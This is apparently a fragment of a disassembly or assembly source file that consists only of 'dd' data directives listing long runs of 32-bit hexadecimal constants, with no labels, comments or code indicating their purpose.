		dd 0FFDCFC7Dh, 0B9A50016h, 98DF91ECh, 38050FAAh, 729277D6h
		dd 2F7A2400h, 50ECF1FBh, 395A6C1Dh, 0F80B770h, 0FEBA4580h
		dd 180F56CCh, 41761F9Fh, 4508410h, 718281CFh, 0EF22DA40h
		dd 0B02E00C0h, 0BD50DF7h, 1B002CE7h, 0F24E5F9Ch, 0E2F4483Eh
		dd 3B6D00DDh, 78EABF18h, 0CF022A57h, 673EF572h,	0FF50E0B0h
		dd 37D80099h, 202F1A83h, 2A003696h, 0E20C614Dh,	0F143701Bh
		dd 168FEDFCh, 40D5B42Ch, 0F0E9C30Ch, 0CD03E8B2h, 9DA67703h
		dd 0D2539864h, 90B30057h, 75B554C0h, 311D2D3Ch,	3B0048ADh
		dd 0DE80C91Fh, 13460050h, 2C58249Fh, 6F0070BCh,	699736EAh
		dd 75916E06h, 2F87071Dh, 0D0312E65h, 1B3E4438h,	8F89B207h
		dd 0DC0053AAh, 0FD6516h, 8A5B1DD3h, 610DCD73h, 7A003F72h
		dd 38E0035Eh, 1E6396Ah,	261D5055h, 35B792B3h, 2AC004E0h
		dd 0A701EE04h, 7B1BA85Bh, 3C94C437h, 76E72E03h,	47E65Ah
		dd 0FFCF1C28h, 9AB41F9Eh, 772C77B8h, 1D17810Bh,	0ACBE520Eh
		dd 45012858h, 0D910D29Eh, 8BA89F2h, 0D228A105h,	0DF446808h
		dd 3A7084C6h, 84D69F40h, 22FC6E22h, 8A22EB02h, 80A22A9h
		dd 51E39F22h, 0A8D9140Eh, 0D145A817h, 420A2808h, 224A783h
		dd 1E016320h, 88EF5680h, 0A1CC339Dh, 3CE82946h,	0BE002BD0h
		dd 0B8E3ADE7h, 1C0F226Bh, 0E0B6DF37h, 842A63B5h, 2B9B00C6h
		dd 99A6C5D2h, 2D07E326h, 0ACB6A413h, 22372910h,	68FA55h
		dd 38730686h, 10B901E6h, 0C1C86A01h, 0B82CC4F1h, 4A8F70h
		dd 0DA40316Dh, 0B1B3A31Bh, 7F282003h, 8881F29Ah, 0B88F7AE6h
		dd 6F7430D5h, 85D73410h, 0C10D8400h, 724637D2h,	635E07A2h
		dd 0E07CEA24h
		dd 7ACEC44Dh, 0D13FEF00h, 66F494CBh, 3DB7080h, 0A47F7BDh
		dd 62012509h, 323D11E6h, 7E87D51h, 495F0737h, 10EE2EBBh
		dd 7310F13Fh, 48F4E200h, 4CB5A261h, 0FC7E2E75h,	0D4AD0022h
		dd 3C45EAA7h, 52723Ch, 3B101EAEh, 0F60EB2h, 1D7A4BBBh
		dd 784AEC74h, 542069h, 9AE08581h, 0C2510014h, 80E599C1h
		dd 7E3E965Fh, 2C9001Bh,	1605AB69h, 0FD0600A9h, 0D42288C3h
		dd 0C4038FE1h, 0CE69817h, 3F4000F5h, 66298743h,	460030A5h
		dd 26AA795Fh, 77DF7Ch, 59571BFEh, 0C217CFABh, 0AFE64800h
		dd 8BD1A02Eh, 0F1E70318h, 64BDEB3Eh, 0BAC05FDBh, 86006C0Bh
		dd 6368B69Fh, 1E0CB66h,	67CF78A5h, 0E52FE9EFh, 0D6C8DCB4h
		dd 0E6792500h, 5C4C433Ah, 0F6351FB7h, 1C708714h, 0E51F918Ch
		dd 6163FC94h, 9C86E407h, 1800F9A8h, 95762Ah, 15120154h
		dd 4DCBA5C7h, 61394901h, 346775DCh, 1EE70DD4h, 12ACE1EBh
		dd 0E3750F6Bh, 80E6D525h, 64EFC5B2h, 0E8CF4A00h, 0DD3CA69Dh
		dd 0A2010732h, 20049C4Bh, 3078AE7Ch, 0B300D672h, 0FF9B2BD9h
		dd 5DF70B2h, 0A3EB7EA7h, 0F700C277h, 58E0840h, 343EC0Ch
		dd 46010C8h, 560AF17Bh,	0AA10810Ch, 0B8382469h,	44AA604h
		dd 5D801435h, 464B06h, 754876D1h, 110815Ah, 960E0300h
		dd 718CBB20h, 0A2CA007Fh, 7D292CCBh, 26304FD3h,	0ABDE686Ah
		dd 0A32B0035h, 1CEDAF4Bh, 600F521h, 43BC8015h, 1F518631h
		dd 0DC25C3C8h, 0C02F5E98h, 0EE08852h, 0ABF61609h, 544F9724h
		dd 3BE8FD00h, 0E67E62A5h, 0DFF50014h, 797A8D23h, 0F60013C0h
		dd 9A960978h, 7F3D0Ah, 2BC47E7h, 823FCC60h, 0BD46E600h
		dd 91F874FEh, 0F17C0F99h, 1780435Fh, 10909215h,	0C7848212h
		dd 46684C03h, 6D75B829h, 9F6E5C33h, 7E347600h, 0EDF52871h
		dd 0F0975400h, 0BC4FEB4Dh, 0DB3B0373h, 5F644B04h, 0A55649A0h
		dd 58439E00h, 6BAF9BB0h, 8C95509Ah, 27D838D2h, 0C112C30h
		dd 4E132E33h, 0FAF15h, 0FC20918Eh, 8DE9DC18h, 18714499h
		dd 118C9DD8h, 7A0005E0h, 1E2A0243h, 72BE55h, 3E77B6CEh
		dd 5704F493h, 0EEFCAB74h, 9BF1F200h, 0C2DE671Bh, 3B021FD2h
		dd 7755808Bh, 48B7F5FCh, 6CA4D024h, 3EA7A200h, 0A5CF4Ch
		dd 8F7B56AEh, 5ABF2E41h, 1AFF26h, 0CE841300h, 6083B844h
		dd 0BF82680Fh, 9201E2F1h, 269B05FBh, 0D7748Dh, 7772FCE9h
		dd 0B4F9F811h, 0E562DF00h, 7851996Fh, 630F14F4h, 93B80D6h
		dd 0E038023Fh, 9ACE3F03h, 60004BDBh, 0CC9D5A01h, 0C1630450h
		dd 86C873A9h, 879841AAh, 9798CB68h, 0E80EE527h,	3C39A11Dh
		dd 0A840A4E6h, 9A3847Fh, 5AE77491h, 31090000h, 0E91F71B4h
		dd 65016351h, 2EA726BCh, 0AE96D0h, 0A0CD5C9Eh, 14FF68BFh
		dd 8C664400h, 0A4551E6h, 5B4D00E5h, 7B731DA5h, 0A4EE3EA3h
		dd 56E09C00h, 3738E84Ah, 0DE6D1E3Ch, 4E7140E7h,	429E94DBh
		dd 1AF2680Eh, 16FFC04Ch, 0B9C793h, 0C697B174h, 390F6C94h
		dd 0D6410C00h, 0DBC9BA62h, 6816006Bh, 182A7CBEh, 0AB00C117h
		dd 7632452Bh, 26220Dh, 0A7EAD782h, 9F242E4Eh, 0CB0E2490h
		dd 2362E3CEh, 0C0E7A84Bh, 8AFBF6h, 0E7D74DAh, 7213FD65h
		dd 2C87CA00h, 9AB784C4h, 33040045h, 0B27EC302h,	0DD002981h
		dd 627BBC0Fh, 13B8CEEh,	72C54390h, 300DEB45h, 31077DDCh
		dd 0D04D78A2h, 4F2919B1h, 0D128FCh, 0A74C8473h,	3BE6B4AAh
		dd 608D5A16h, 0A8D98400h, 2BE7B4Eh, 6F19755h, 0B081FB26h
		dd 80790C82h, 0DDEC7031h, 0F340C9h, 6A6833C5h, 9F7A5131h
		dd 8F22C600h, 7CFC4126h, 2C4AA4h, 0FB0534C4h, 2A01D7CCh
		dd 70CDAEBEh, 35DCD85Ch, 0A49E240Dh, 44893F58h,	0A482B49Ch
		dd 0DC43451Ch, 0C618EBC0h, 0ABB6980Ah, 9409DC1Ah, 77B76A4h
		dd 0B03E276Eh, 55DFE63Ch, 0ACF5EF09h, 0EC480054h, 11448Eh
		dd 75A00841h, 0C93C66BEh, 14E75900h, 747ED34Ah,	0B6193820h
		dd 137C7100h, 92F35CF2h, 73DF720Bh, 40688E10h, 9436496h
		dd 67111C8Dh, 0D20E8B4Ah, 0F03F0898h, 180014B0h, 11F3B030h
		dd 900B69h, 2ECDDF7h, 4FCD5A50h, 0FD2E648h, 0E336780Dh
		dd 887F6D73h, 0FE99491h, 1C8CB3C6h, 2EDC7B40h, 0E41D9E9Fh
		dd 348051FBh, 7849682Bh, 394A0F91h, 0BFE0EDCAh,	0B2DAE663h
		dd 15746E07h, 61FFEF2Fh, 0E531A61Fh, 1FAF1474h,	40961032h
		dd 1D059B8h, 0F900503Dh, 9659C8Ch, 7E1BE2h, 0BDC551E0h
		dd 7330B1A9h, 36878216h, 8E300EBh, 9F3276E6h, 6F7AED00h
		dd 63BA6CAFh, 2C480027h, 0EE989474h, 0C77A047h,	0B741DF00h
		dd 4EB5352Dh, 6B6600E0h, 0E4C67853h, 0E009096h,	61570D3Ah
		dd 2E5ECD83h, 17CE9836h, 4BD8207Eh, 1A0006DBh, 7DB88084h
		dd 9AED27BFh, 30626044h, 1D768B1h, 34C9FA07h, 80CEE7E1h
		dd 2BD09BDCh, 4CA5E282h, 7A0EE35Bh, 35E080AFh, 88585484h
		dd 1A05A000h, 4995CC23h, 0CC994833h, 0CFB83F00h, 0F426C3CDh
		dd 0BB98A175h, 0AE1B0C00h, 2AEC7C09h, 6B14007Fh, 738678F2h
		dd 1F07F6ADh, 0A18DA7F5h, 130D25A0h, 5FA302D1h,	519366F0h
		dd 3957CC40h, 0EC49E02Eh, 0DEEBE540h, 96460141h, 0B51DB365h
		dd 0B41EE459h, 0E4D84317h, 26CCFC07h, 0EF2C7833h, 98FE3C61h
		dd 130F4464h, 1D49CF22h, 3A9540B8h, 7E3990D6h, 8C76CE00h
		dd 31859C91h, 0F498E3h,	8628B7DAh, 5066FA67h, 0AB241301h
		dd 5DFF5FE7h, 0ACF4B9F1h, 34EB004Bh, 8D5BE5A2h,	21033B41h
		dd 13BE846Eh, 9C11122Dh, 969E0023h, 4663EEF0h, 4C5F0800h
		dd 4F2D6017h, 1E5B760Eh, 0C05011B6h, 0FA69821Ch, 7601296Eh
		dd 0BF849E9Ah, 1881F2B9h, 46DD27B5h, 77CACEh, 33100B2Bh
		dd 532903F8h, 8FE87874h, 927F8EC8h, 9BB19E1Fh, 6F5F7A00h
		dd 5041638h, 65393D93h,	4584034Bh, 0CBC8908Bh, 0C90F1F13h
		dd 6098A347h, 0EC1B23BCh, 839B0055h, 14CFAC2Dh,	0BD006FA8h
		dd 0DEE80A97h, 6E7F17h,	5C069564h, 848179B0h, 48B0197Dh
		dd 999A4F00h, 35EC975Ah, 0AAF40007h, 7D05F26Ah,	0C5006286h
		dd 67FF7726h, 0E2240C45h, 2B64A56h, 0EDFDAD08h,	95F20C60h
		dd 926E7100h, 1002F0E7h, 83500068h, 1EEE0D26h, 17003047h
		dd 0A3F72531h, 5494DA5h, 0BA41E58Bh, 33608086h,	0F800D067h
		dd 602CE1CEh, 634C78h, 25354732h, 3C3A8C09h, 882ADD28h
		dd 0C938CD00h, 77BB33D5h, 0EDBC0044h, 864BBDF5h, 0C61C041Eh
		dd 4AC31D05h, 0F8EF6CF7h, 3A7EED7h, 0F26D5C56h,	73D8D6D0h
		dd 2F04486Ah, 0D3014CC9h, 21A50700h, 0C2068E80h, 586F99DDh
		dd 81A13018h, 4DF81448h, 60386102h, 0E0DB9FABh,	0CF8ED6h
		dd 154285CBh, 0B23613DAh, 0B04F4D07h, 809BF60Eh, 81A68FB3h
		dd 158D0076h, 0F15B56D7h, 1F016552h, 722A1E31h,	2E709770h
		dd 34DC17E5h, 345312h, 1AA64947h, 2503DB66h, 2E61E11Eh
		dd 8EC0F403h, 507C83h, 4911E356h, 0DF4A85A4h, 0E8047F07h
		dd 6784FD61h, 2B10E4h, 25FF195Bh, 56FA3873h, 0DB2F460Ch
		dd 7C0CA8h, 96B65198h, 0CB805541h, 0F9387F00h, 40571342h
		dd 1BF047h, 0ABA9FA62h,	165DA1DEh, 257E3F09h, 8A78091h
		dd 5F875EBh, 0D472107Fh, 0E19CD057h, 9E0415A9h,	0CCB6DA6Bh
		dd 8FC580A2h, 61FA055Eh, 751062ABh, 0D54BA4E0h,	0B0000C4Ah
		dd 0F99938C9h, 61DF64Fh, 0C878BB44h, 4500D807h,	8120FE16h
		dd 3A9F74h, 372F93Dh, 47CCE689h, 0B17E0E07h, 0AD30DD35h
		dd 13DC57Ah, 661F5B13h
		dd 70D24D28h, 0E90076A3h, 0FB06C242h, 51300Fh, 651D5C84h
		dd 11A270E2h, 2C070500h, 7380ECC6h, 1EA60057h, 6C9F51F6h
		dd 141FA27Bh, 0A04033DEh, 0EE8A5D5h, 0A7AA3B1Eh, 3E5F3700h
		dd 98A9BB45h, 6400C94Ah, 0F70F543Ch, 6DFD120Eh,	0FC8C0020h
		dd 9B655BD2h, 9D788E00h, 5E87A971h, 3187F57h, 1A739277h
		dd 84D8F41Fh, 0B8A053F7h, 0DB05E39Dh, 444BFC05h, 0C3D2831Dh
		dd 0AF565F01h, 620A473h, 7F400F5h, 659D1FDAh, 600A25Dh
		dd 8022DFE9h, 399EDE6Ch, 0F984951Ah, 80D28E2Eh,	0F1117784h
		dd 7518544Dh, 0A2C0180Eh, 6BF64082h, 43604A3h, 0A0CFBD15h
		dd 37D9819Ah, 8A76FC16h, 0FB86B600h, 34882DAEh,	0D4B31651h
		dd 681CEBh, 0AAC01F22h,	0BA7385D3h, 9B765C00h, 3F7BC24Bh
		dd 8BF481h, 2653400Eh, 11BB71E9h, 0ACF86500h, 0B73CC9F5h
		dd 0A02A003Fh, 0B0487727h, 0E70454D8h, 0A9DC9EA8h, 0F161A481h
		dd 0F0ACD6FBh, 7684006Fh, 0B89BE652h, 0C3069A7Eh, 87200331h
		dd 80573A20h, 8EBB2C80h, 8229CECh, 93266003h, 90CBC189h
		dd 0F24E3833h, 5E5004D9h, 80CE620Bh, 0F765FCE2h, 0E591ED16h
		dd 0C7F85800h, 585A364Eh, 6F02984Fh, 4C3E3FE1h,	7B4C3446h
		dd 4B9A800Ch, 3969C4h, 0B70541C9h, 9367D249h, 4BFCE03h
		dd 0D11C9C45h, 0E3C892EDh, 13560B3Dh, 0B784261Bh, 6B89050h
		dd 0A8B210C5h, 0BD217D08h, 5580048h, 0B4C76A59h, 9E43D405h
		dd 0FF8728C3h, 62A2DB90h, 130BE8C8h, 82A495h, 74193580h
		dd 0CA9875ECh, 6496B175h, 459C3807h, 5D703B07h,	0EDEA910h
		dd 8225E091h, 0F5B15560h, 9B029320h, 2309477Fh,	4C7E41EAh
		dd 15ED8880h, 6E53B56Dh, 0EFA11701h, 641D924Dh,	83008C2Dh
		dd 572425BAh, 8D000F8Ah, 0F6C70EF5h, 3C128FF9h,	93007C70h
		dd 29E1E50Ah, 0D5619EFEh, 203E798h, 583EE033h, 487C005Ah
		dd 0DB1A3EE2h, 6500C8B0h, 27494CF0h, 2C5956C8h,	9430ABh
		dd 5DE89A0Ah, 7026A5CAh, 5800B498h, 0A83FECF4h,	0F8890640h
		dd 0C847A1F6h, 0DF700100h, 7D3E36E8h, 4CF0A187h, 81E177DEh
		dd 4860C2D1h, 80A0178Fh, 2F0EEC89h, 1EF8CD50h, 0DE3992C3h
		dd 7C1CE872h, 0E0C73C14h, 0E4C36D80h, 0E38C188Dh, 9441860Bh
		dd 7900475Ah, 7112F2B6h, 0D4704000h, 573EDDB4h,	41C20698h
		dd 0E94D89h, 62CC037Fh,	0F2E89D13h, 318F14Dh, 0F788BAA0h
		dd 0AC29009Fh, 683AC721h, 83091913h, 81A4D28Bh,	2D1AECA4h
		dd 2ED0C70h, 85E055FFh,	0A478B954h, 0E753C900h,	0E944CF14h
		dd 954800BBh, 0D307DBDCh, 3B05EEB5h, 1475F601h,	0EB0F75C1h
		dd 71335470h, 356C0969h, 0FC20B8DFh, 0D9150158h, 6F7A6D01h
		dd 4D170A59h, 9385F8h, 2FFFF1E6h, 20A52905h, 8AFF404h
		dd 88A0E99Dh, 0FFA800F3h, 0DB56E686h, 5F0A3D31h, 9CB75B6Dh
		dd 0B9D72B00h, 457AC4h,	0C25148EFh, 46789042h, 57B7400h
		dd 64AEE67Ch, 49DB146Fh, 3F00ACC0h, 17560CE2h, 100071EDh
		dd 81086BBAh, 0E0607Fh,	0E5A725B5h, 89A3833Bh, 0E0A06238h
		dd 125A8510h, 0FC9A02D4h, 220A48B8h, 8B9DEC48h,	201F4492h
		dd 7580C0B2h, 2CF09BBh,	8F57003Bh, 5B245D4Bh, 0E100F1B6h
		dd 37CBF98Dh, 1C4A3h, 0D45103Fh, 52FFB580h, 53937A1Dh
		dd 210920E6h, 26948099h, 770AD72Dh, 0FD4800B0h,	0D445DEFFh
		dd 0B8B06F17h, 47D00514h, 61890080h, 75EDCB25h,	0A3F90028h
		dd 0BC0BC624h, 86006CD4h, 64E709FDh, 257E634Dh,	5B588123h
		dd 0E1CDBA01h, 18EEC093h, 8006E06Ch, 58FF5E02h,	0C6D1B600h
		dd 1E5F79F5h, 0B07109ACh, 0F8807521h, 0BB4EB7D6h, 0CF365C09h
		dd 611C004Fh, 5A7FA8h, 32D31181h, 9DB52321h, 8CCFE107h
		dd 51B0BFF6h, 1E4286h, 916BED37h, 0B49D0D29h, 63CA3A00h
		dd 0EB2F4D4Ah, 3B7300D8h, 493412B5h, 780EF902h,	605981A0h
		dd 3CF8CF11h, 0ADE20331h, 2118B265h, 9D146FE8h,	0DFB9080Ch
		dd 31220F5h, 163DE23Eh,	0D1E0E344h, 2002C3E9h, 0FFABEA26h
		dd 0EBB88185h, 7FC0432Eh, 0A84492ACh, 13D2173Ch, 8088AE5Dh
		dd 8CE7C7DCh, 0A99FAA00h, 552123FAh, 0A4AE00E1h, 7D0961F0h
		dd 1A099B2Eh, 15C8F7Fh,	0C65A3C4h, 0B3C60h, 36A9C144h
		dd 8A79ED5Eh, 68D09A30h, 109E39Bh, 34499EFh, 0F09CDCA1h
		dd 1D0B20CCh, 603B8DBEh, 75594BD0h, 803D4C6Eh, 57F9F2C1h
		dd 43E7E4ABh, 815ACBE4h, 0B3B77800h, 7772E5h, 86A762BCh
		dd 55ABEBA8h, 6EE61D07h, 0AC7104FFh, 9FCCFA30h,	30F471EEh
		dd 3E2103A5h, 0CD00DC80h, 95892D87h, 7266FA2h, 15BB079h
		dd 0E64DF036h, 0AD0711D1h, 81457B09h, 0A4B5EF70h, 89D7005Eh
		dd 0FEC1F258h, 4900E860h, 0CEE9A06h, 64F3D8h, 0B7F224Ah
		dd 91FA674Eh, 0FB99CE26h, 0E7DC2000h, 1E4A6005h, 18491Eh
		dd 0A316662Fh, 7700896Dh, 0EFE31B5Eh, 0FAFFE5E2h, 0C30D07C2h
		dd 1DD1CAFh, 0E0FC4742h, 700B481h, 0C04FBD9Ch, 58D144h
		dd 196E035Ch, 497CB801h, 7D69F8C0h, 0B0BA8412h,	6BB000B6h
		dd 78772A79h, 0E80053BCh, 6D03C00Fh, 6FBF8Eh, 0BD3666F3h
		dd 9149840Ch, 2CD83200h, 3C94EFA4h, 15AD00B4h, 0F44E18B8h
		dd 4300392Eh, 32EE019Bh, 0F91DB5h, 0BA6F75F2h, 7664A0A7h
		dd 0F88B2102h, 8E35BCDEh, 3E57408Ch, 1F5A3C18h,	80A3849Fh
		dd 5C141015h, 4200E978h, 5968EDE5h, 72060Ch, 5484B06Eh
		dd 0DF1BC4EEh, 9BA97100h, 7D280AA6h, 88EE65h, 0BA91968Fh
		dd 264D1398h, 7FA2B603h, 0B8D452A5h, 0FFACD0h, 18F9C156h
		dd 0F016B182h, 0E1F29107h, 92F034B5h, 73DE4168h, 48DD3BB2h
		dd 223E3887h, 0B356D07Eh, 0F3794767h, 60AB2739h, 4FA63A29h
		dd 1B404070h, 560006EEh, 78BCC3E7h, 6DD53Eh, 2E25F95Eh
		dd 17755980h, 0C009CEEh, 0FB050D7Eh, 37066FDh, 0D9FF4806h
		dd 0C3A0F74Ah, 2607974Bh, 0F2C9F60h, 8B98BD31h,	399523E0h
		dd 0F5801376h, 435961A4h, 0F9160D51h, 0DA00B2FEh, 6B6F5A73h
		dd 0C6B300DBh, 0AB18AD54h, 0D633324Ah, 906A58E4h, 6353AFh
		dd 379DE093h, 7323DF28h, 3431B314h, 0F92200D0h,	0AE818964h
		dd 4821070Ah, 0BFBCAD25h, 0DBDF801Dh, 7DA8B123h, 75E7B200h
		dd 0F1D941ACh, 4511FD7h, 9C74C519h, 0F982AE8Bh,	8DF4A010h
		dd 97D0360h, 0DC0DE052h, 5B349001h, 1953C44Ah, 32D29600h
		dd 6DAB1CBCh, 4DB23155h, 4005E391h, 0ED815F18h,	0B17D7A1Dh
		dd 0E0AC5030h, 44408613h, 45970EA9h, 9380E14Dh,	0CB2AA5EDh
		dd 0BCF6270Eh, 19801E9Bh, 0B2ACA721h, 6FD00032h, 0B369E086h
		dd 0D95F4865h, 15003EBCh, 60E3F97Eh, 3648F68Eh,	1B9C07A4h
		dd 0E8C54301h, 2C5FC1ABh, 60F2E906h, 9713D13Ch,	40CF7Bh
		dd 0D0709ED5h, 131C078h, 11DB5E7Dh, 4DBE58A8h, 0EEB95320h
		dd 6C2CE8B1h, 0D8205855h, 0CD6F4A00h, 58F854D3h, 42ED0126h
		dd 6DCB8702h, 0BE5E80C8h, 0DC1BFDF6h, 0CC680025h, 53D7114Dh
		dd 0EF00418Ch, 0DE3E6B2Fh, 0A1233Ah, 92852DA3h,	0B870954Ah
		dd 0CF008E71h, 0D6E49CB0h, 1F70207h, 54AE9E8h, 0F048C316h
		dd 8807BCDBh, 0BF7D1F31h, 91D8CE80h, 0D3E4F79Dh, 27730097h
		dd 821ED44Dh, 0DB003C89h, 773E0854h, 0F8CDB684h, 2CC0F57h
		dd 2240D146h, 5EB4BCFh,	0E6053478h, 0DB6C37F2h,	3EB88840h
		dd 67D790Dh, 55D2E8F1h,	0D0620839h, 7506D921h, 0A50EB200h
		dd 7200FF4Bh, 0E521D72Fh, 3EA4851Fh, 303B5459h,	187FC83Ah
		dd 68D28EEBh, 24866DB6h
		dd 3A240D09h, 1E803452h, 0B88C0D08h, 0CFED3100h, 26B714C7h
		dd 6F7A4C91h, 0D40C993Fh, 0A870C60Bh, 2700EA48h, 1280FCEEh
		dd 140040D0h, 4E1BB8F6h, 4D961106h, 37082155h, 0A020CD40h
		dd 1342B30Eh, 74BC191Bh, 0D8811D58h, 802406D9h,	931C11FEh
		dd 6D411021h, 72DC318Ah, 21C00998h, 0FEFE9433h,	67702C0Fh
		dd 75AEB2Eh, 74B0AD08h,	3E02B029h, 243D9968h, 0EB8CE35h
		dd 18DBC0BFh, 3077023h,	6DF31742h, 0FF1930A2h, 173D3810h
		dd 0E2EA7E00h, 2098C695h, 0E4D40AA9h, 8180CCCAh, 721A9125h
		dd 7061B06Fh, 0F16E54DCh, 6CF07C31h, 68F300F5h,	755D1DF1h
		dd 7001939h, 0AE65CA4Bh, 36FC6Dh, 6021F50Dh, 46F10FD7h
		dd 0E7FFB100h, 0DB1A30CFh, 58ED1E88h, 8E440F5Ah, 13FA5340h
		dd 9300C446h, 0D260FFADh, 509491h, 4C5B9FBDh, 7F84FC22h
		dd 480A629h, 43B7D055h,	0D2EB6200h, 0C7013090h,	0F53E001Ah
		dd 0EA9E5A24h, 640735F1h, 611ED271h, 0C375C783h, 0F9D6A0EFh
		dd 927D3EEBh, 0DED0ED1Fh, 8CAB4325h, 91F05464h,	0CD1DCC38h
		dd 0AE3E3022h, 0B1017B97h, 1A4F3E8Eh, 0D2F061EDh, 0A64B0F81h
		dd 0A3002077h, 0EA5093E0h, 5D14781Eh, 0BAF43340h, 60EF2BFAh
		dd 0C818B892h, 0FC7279A3h, 0A12A500h, 2EF8F7ABh, 48150014h
		dd 3477F37h, 0A8671619h, 90D84129h, 804B8429h, 4AA99E44h
		dd 370828ADh, 145F942Fh, 21BC9511h, 2AE30869h, 83C7394h
		dd 3E785E06h, 44C11450h, 42848721h, 0F07108CAh,	23D70809h
		dd 8C829B88h, 0DD795483h, 9029EE64h, 7D10AF22h,	0D95440F5h
		dd 0C308FB84h, 21B44284h, 1B720805h, 19505794h,	2129ED3Fh
		dd 0C09E2517h, 118D8C43h, 655B1D00h, 862E7588h,	0A9E7000Fh
		dd 997E8958h, 0BD008DA8h, 9608C351h, 34B3D8h, 0E9E3B179h
		dd 2954352Dh, 26C5DC00h, 4604349h, 86B4008Ah, 28B9499h
		dd 0AF009E81h, 886A1FA7h, 0F3A9DFh, 0CDA684ABh,	56F40EC4h
		dd 2B34920Eh, 256E605Ch, 79F9B50h, 0FFA2496Fh, 4260FE11h
		dd 0F0430ED3h, 732A0A00h, 41861C3Eh, 0E5BD00A8h, 590B57Ah
		dd 5601E83Fh, 8FDA71F4h, 31FCD347h, 2F7B1263h, 4F9447BCh
		dd 6580EF95h, 45594E55h, 0F15C7100h, 5D7741B2h,	8AE20097h
		dd 0C4D3059Dh, 1139574Dh, 0FD8480F2h, 0C13ACD3Bh, 33ED0077h
		dd 4A139945h, 1700FB34h, 736DA392h, 30613507h, 8770A98Ah
		dd 0A000FB8h, 0F0698523h, 7CE6C524h, 71B78DAh, 0EBBA064Dh
		dd 832137D3h, 1EB8D255h, 0E53C6E36h, 4A7C0BB5h,	0AB4A8019h
		dd 694360h, 3D3C056Bh, 1D5CB756h, 991FF3FAh, 21607E8h
		dd 19B02C00h, 0E99D6Eh,	0B6C439B2h, 316D4C03h, 25F99F03h
		dd 0B8B78144h, 28A23D34h, 8C6814h, 0CA114795h, 5788C1BAh
		dd 3D419300h, 7AC636D6h, 45440058h, 17F9D906h, 3700F810h
		dd 24C48FA0h, 1501E93h,	0D983A588h, 0E0C58A0Dh,	0EF01F8ECh
		dd 16894758h, 5ECDFC5Bh, 0AEEB8480h, 9686345Ah,	0AFD92200h
		dd 6A68623Eh, 0EC9D05BAh, 99827h, 81041D9Dh, 4E000EC6h
		dd 4918BC0Ah, 71349Bh, 85489A4Dh, 9D0BA5C7h, 37BC724Ah
		dd 4BBE820Bh, 0FF00D07Ch, 90D355F9h, 528102CBh,	136B797h
		dd 200461E0h, 6FA59200h, 0AB677F8Eh, 339F0066h,	711B88A0h
		dd 0D5021030h, 0E9FB5DB2h, 1B468DCh, 0B84C00EAh, 39CF70DEh
		dd 0F3540F40h, 6F787ED8h, 7CCB5100h, 5C7DC5B6h,	5E4008Bh
		dd 0FB06D12Bh, 700080Dh, 0EA0F37CFh, 0E026C4h, 571DD9A9h
		dd 7BFF7A66h, 6A17B91Dh, 5F0A007Ch, 77DC6E33h, 7D47929h
		dd 45AD1BCEh, 0DB8700AEh, 0DEEBC43h, 0F7114900h, 390A931Ah
		dd 0A013005Eh, 154EF263h, 92000B54h, 3E291D9Dh,	3ED0A8DEh
		dd 100AE8Ch, 3A87AC5Dh,	5F28D21Ch, 4C00A078h, 99D819BFh
		dd 3826E1Ah, 0EC50A3Bh,	0CEB036EAh, 70BD348Ah, 0F7E20059h
		dd 0E7391D45h, 16F2E0F1h, 0F3918116h, 923CF0h, 66AE9E11h
		dd 0C10F79D3h, 73E8D61Eh, 0F767D4C0h, 0FCD2A5h,	0ED81A8Ch
		dd 505F0407h, 4E014CE8h, 0C901F70Fh, 2BDC38BFh,	87D20039h
		dd 0F566E0BCh, 77C21D3h, 26976200h, 0BE1C4072h,	69900013h
		dd 6E65BA3Fh, 0CB013D81h, 0AAB0BC9h, 9C4098D3h,	33AA61h
		dd 5C355713h, 0CF31AC74h, 0C900267Ch, 47FFEA8Fh, 1B03E8h
		dd 0C46F187Fh, 757B2FC5h, 5DA0EF00h, 0A7ED7B5h,	96FEBBh
		dd 8D396185h, 28D8AB6Dh, 60106807h, 0AD277F69h,	0FB3A04h
		dd 2B0CCBFCh, 0BB00D074h, 50D36390h, 1E35EC0h, 9E930610h
		dd 0EC1DD765h, 391C795Dh, 0F7C0A2B2h, 0D377C61Ch, 0A0660010h
		dd 8028E309h, 2402F661h, 0C1DD2FE9h, 0BCC6C0AFh, 3E4000FDh
		dd 0F1428C9Fh, 0F50096E7h, 78B19572h, 0E31824h,	15C740B5h
		dd 0C0D1E66Ch, 0DA84C500h, 0F4018D92h, 0A6530F4Dh, 0D0617CD2h
		dd 0E4DD41FAh, 973F5544h, 0B040F46h, 0F22800EAh, 0C0B01C47h
		dd 0FD768CE0h, 0FF0015B4h, 709D9F48h, 9019A8E1h, 83B10061h
		dd 0AAA9C871h, 0CE00ECF6h, 0EA7DF498h, 0E37418h, 69F08476h
		dd 3873D662h, 930A400h,	9C03079Ah, 0B23702FCh, 3525C7AAh
		dd 0F55D2EC0h, 5F08F103h, 0E842CCF7h, 0EEB1152Ah, 1A710053h
		dd 2FBBFD92h, 3500EF7Ah, 0B691731Fh, 0C71E49h, 4ACB9A13h
		dd 0D2949633h, 638D3E00h, 0FF877A57h, 3227010Eh, 0B76D9BC1h
		dd 0E25B3098h, 0FB10E700h, 4E2583CEh, 514800B3h, 3E0C81E5h
		dd 0C600601Dh, 85C88E2Fh, 83A1D7h, 0AF6D94B0h, 4737E4BDh
		dd 0D3714C00h, 20E95CC3h, 9EE300E6h, 0E8F3D264h, 0F474809Bh
		dd 89635970h, 90564008h, 1CF85725h, 0C02F28BDh,	1F6ECB4Bh
		dd 0BF00E22Dh, 37315393h, 7E596891h, 1BEB00ABh,	679A36FAh
		dd 1003DBEh, 72B03C1Eh,	0BA637Bh, 1FFE19B6h, 28BE9736h
		dd 39F3E003h, 0D3D87F3Dh, 8417D0A8h, 752F06B1h,	11BAB4B6h
		dd 8F742600h, 0E940ED67h, 0B3C3045Fh, 87FD6F1Ah, 833B2068h
		dd 0A100F912h, 0DEF41870h, 1C470BBFh, 406F5260h, 944A896Bh
		dd 0C63A0C45h, 18B1A451h, 0AAA3A406h, 403702AAh, 4EA5B555h
		dd 5EC8E843h, 4DFCBB57h, 6963DC00h, 79A0C8C1h, 33C40042h
		dd 0CC30D62Eh, 0BB775EC5h, 8990413Ah, 7805B18h,	0F344418h
		dd 34D26C20h, 0A0A35030h, 0FDAD0Eh, 4C2B85F0h, 0EEB4268Dh
		dd 0CEEAB000h, 16DBDDFCh, 0F31800EDh, 5E897644h, 7F00F812h
		dd 0F12A45BBh, 3CD82E57h, 528F6ACBh, 69E1B917h,	0CC9577A3h
		dd 8650E3FCh, 2E0048F6h, 7A890E7Fh, 3A8CA45Eh, 220085E4h
